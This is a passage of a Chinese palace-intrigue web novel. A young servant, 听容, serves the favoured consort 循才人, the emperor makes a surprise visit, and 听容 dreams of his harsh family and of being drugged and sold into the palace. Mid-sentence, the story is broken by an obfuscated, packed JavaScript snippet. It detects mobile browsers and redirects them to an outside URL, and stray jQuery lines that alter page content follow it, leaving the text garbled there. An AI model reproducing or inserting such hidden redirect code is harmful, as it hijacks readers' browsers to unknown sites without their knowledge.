晚膳前,循才人就回来了,一身粉色的宫装既有少女的明媚,又不会过于张扬,在这个时节多些颜色,颇有趣味。
“听容,恭贵妃很喜欢你做的果脯,送了我一些她宫里小厨房做的点心,那盘红豆酥饼就赏你了。”循才人心情很好,显然是在繁秀宫聊得不错。
“谢主子赏。”听容忙谢恩,这就是在主子身边伺候的好处,在吃食上能丰富些。
接过食盒,听容把赏自己的那份放好,剩下的搁托盘上,配了沏好的茶,给循才人送了过去。
快传晚膳了,循才人只拿了块鲜花饼慢慢吃:“皇上常来咱们长宁宫用膳,我总想着做道皇上喜欢的小食表表心意,却一时不知皇上喜欢什么。”
皇上的喜好不能轻易让人知道,尚膳房送膳,食材上讲究平衡,看不出什么来。能知道皇上喜好的,大概只有皇上登基前就进府的嫔妃了。
“刚才去给恭贵妃请安,遇到了良嫔,路上说着话回来,我旁敲侧击地问了她皇上的喜好,她提到皇上跟先皇一样,都喜欢煎蛎蝗。只不过先皇驾崩后,皇上怕见食伤情,许久都没有再做这道菜,渐渐地就被忽略了。”提到泰宣帝,循才人脸上布了层红,“我想着宫里用不了小厨房,但做这样的小食应该还可以。等问问尚膳房,若有好的蛎蝗,就拿一些来。”
“主子待皇上真是用心。”采莺赞同她的做法,现在她家主子是皇上宠爱的人,去尚膳房拿些东西,对方不会不给。
“自我入宫,不敢说隆宠集身,可想见皇上并不难。皇上待我好,我自然也要全心全意待他才是。”循才人低头掩唇,笑得端庄又羞涩。
晚膳送来,屋里有采莺侍膳,又留了小宫女在门口随侍,听容跟着芷月和另一个宫女先去吃饭,一会儿好换班。
后妃宫里的吃食很好,主子吃不完的都会给他们,不仅菜色丰富,吃饭也不用那么赶。听容特地把赏他的红豆酥饼拿出来跟大家分享,宫里就这么几个人,没必要小气,反正都够吃。
“芷月姐姐,主子提到的那位良嫔也是进宫很久的后妃吗?”听容问。不是他多心,只是主子提到了,他就得多问一句。
“算来,良嫔进宫也有六年了,在宫里主子中算不得久的。若说老资历,只有皇后娘娘和庄贵妃娘娘算得上,她们在皇上还是王爷时,就进府了。”芷月进宫时间长,知道的事肯定多一些。
听容记下了,没再多问。
芷月最先吃完,说:“我去换采莺,你们吃完去把水烧上,今儿皇上翻得庄贵妃娘娘的牌子,主子可以早点洗漱休息了。”
“好。”听容应道。
吃饱饭,主子那边用完膳没有别的吩咐,听容就拿了块红豆酥饼去烧水了。
刚把火升起来,就听外面传道:“皇上驾到!”
听容一愣,芷月才说皇上不会来,没想到就来了。他赶紧拍了拍衣裳,确定得体后跑出去跟着宫里的人一起接驾。
循才人脸上是藏不住的惊喜,给泰宣帝行过礼后,柔声问:“您怎么来了?”
泰宣帝执起她的手,两个人差了二十多岁,很难称得上和谐,不过温馨还是有的,也能在循才人脸上看到依恋的神色。
“和恭贵妃吃晚膳时,她拿了你送的果脯给朕尝,说是你怕她喝药苦口,赞你心思细。朕尝了,味道很好,总不能夺了恭贵妃的,就来你这儿讨一口了。”泰宣帝开起了玩笑,神色轻松。
“您若想吃,派人来说一声,臣妾给您送过去就是了。”循才人高兴,却也知道皇上来了应该就不会走了,那今晚就等于是她顶了庄贵妃的宠。
“东西还是其次,你的细心难得,想到此,朕就想来见见你。”泰宣帝说。
循才人扬起嘴角,皇上心里有她,比什么都要紧,她立刻吩咐:“听容,去拿些果脯。”
泰宣帝顺着循才人的目光看过去,落在听容脸上,忽而一笑:“你宫里新拨来的人长得倒是好看,让朕突然想到昱祉刚进宫的时候,特地留了个好看的小太监给他伺候酒。”
泰宣帝只是当个趣事说给循才人听,听容却觉得脊背发凉。
他猜皇上应该不知道那个小太监就是他,否则不会是现在这种语气。可这并不影响他心惊,明明不算大事,却传到了皇上耳朵里,到底是这宫里没有事能瞒过皇上,还是有人特地把严昱祉的事告知皇上,谁跟严昱祉有往来都有可能被泰宣帝知道?
“谁不喜欢好看的呢?只能说严公子真性情了,没人前一个样,人后另一个样。”因为对恭贵妃印象好,循才人就帮着严昱祉说了句话。
“说得也是。”说完,泰宣帝就牵着循才人进殿内了。
听容没往泰宣帝眼前凑,把果脯装好交给了采莺。采莺看了他几眼,没说什么。
直到泰宣帝和循才人安置后,长宁宫才真正安静下来。听容提着水准备回房间洗漱,芷月也回到下人房这边。今晚采莺值夜,又有泰宣帝的侍卫和近身伺候的太监在,其他人可以早些歇息。
“姐姐怎么看上去似有愁色?”芷月没隐藏,听容看出来了也不能装作没看到。
“今儿个皇上宿在了长宁宫,把庄贵妃娘娘搁一边了,明天主子去请安,恐怕没那么好过了。”芷月叹道。就算她们的主子受宠,可位份摆在那里,不是得宠就能得罪得起贵妃的。
“是皇上要来的,又不是主子去请的。庄贵妃娘娘应该不会记到主子头上吧?”听容对后宫的门道了解太浅,只能多听多问。
芷月又叹了口气,压低了声音说:“你不知道,庄贵妃是宫里最得罪不起的。她是最早陪在皇上身边的,比皇后还早。皇上对她的感情不一样,也多纵着她。就连皇后都让她三分。”
听容又想到了那个被拖走的小太监,一个花瓶就赔上了一条命,可以说是皇权的压迫,也可以说只是得宠后妃的一念。
“主子毕竟是有位份的,应该不至于太被为难。”听容没见过庄贵妃,只能往好的地方想。
“就算不为难主子,明天跟着主子去请安的也得小心些了。”芷月看了看时辰,“不早
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140926|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,早点睡吧。”
不知是因为睡前芷月提到庄贵妃,让他多思了宫中生存的不易,还是皇上宿在宫里,让他难以睡得踏实,听容做起了梦,梦到自己还在家的时候。
姜家有五个孩子,听容排第二,本名叫姜以,原本要用“乙”字,也象征他的排行,但老大并没用排序的字,村长觉得娃子长得实在好,用“乙”字过于草率,在做村民记档时,就给改成了“以”。
进宫后,公公觉得他的名字没有好的意头在里头,就给改成了“听容”。“听”是让他少说多听多看,“容”既指容貌仪态容止可观,又有希望他在宫中能有容身之处的祝福。
梦里,他在家中总有干不完的活儿,大哥要去村里的私塾读书,爹娘宠着、供着,一点活都不让他干。三弟四弟和小妹年纪还小,爹娘说他们干不了,所以家里的活都落到了听容身上。
小的时候听容不懂,只知道自己不干活会被打,只有把家里的鸡和院子里的菜地打理好,爹娘才会给他饭吃。后来大了,村长提议让他去私塾读书,爹娘怎么都不肯,即便私塾先生不收束脩,爹娘也以家里不能没有人帮忙干活为由,拒绝让他去。
那时听容才知道爹娘应该是不喜欢自己的,但他不知道为什么。村里哪怕条件再差的家里,只要男孩到了年纪,都会送去读书的。即便不是每个人都能参加科举,甚至村里连考中童生的人都凤毛麟角,但能识字也是好的,以后去镇上找活儿,能识字找到的活计也是更好些的。所以他只能加倍努力干活,照顾好弟妹,讨爹娘喜欢,希望他们能松口,让他去读书。
后来他实在太想读书了,就趁着爹娘去地里忙活,偷偷跑到私塾后窗偷听。不过很快就被先生发现了。先生没有赶他,只当没看见,他就这么跟着学了半年。
有一天他上山采蘑菇回来,那日私塾休息,先生出来散步走到山下,看到他就把他叫了过去,考了他一些教过的文章和字,他都一一答了。先生夸他聪明,不读书实在可惜了。
再后来,先生亲自到家里劝爹娘送他上学,爹娘再次拒绝,娘还撒起了泼,说都去上学,家里没人照应,地里的活又忙不过来,这是存心不希望她家好。闹得邻居们都来看,可邻居们越是指责他爹娘,他娘就闹得越凶,这事最后就不了了之了。
不过先生并没有放弃他,不仅教他躲在哪里听不容易被他大哥发现,还会在他上山采野菜不能去偷学时,找机会提前在山下等他,单独给他讲落下的学问。
先生让他一定不要放弃读书,等他四书五经都学明白了,先生会找村长商议,送他去考试,就不必通过他爹娘了。
听容没想那么远,只是越长大他越觉得自己得能赚到钱,才能过得舒坦些,或许爹娘对他的态度也会好一些。
而让他万万没想到的是,那天晚上,娘给他煮了碗加了一个鸡蛋和几片五花肉的面,这是他从未有过的待遇,还说了许多夸他的话。他以为是自己过了年,满了十七,就可以到镇上找活,爹娘终于看到了他的好,也开始对他好了。
可就是那碗面,让他睡得毫无知觉,再醒来已经在收宫人的院子里关着了。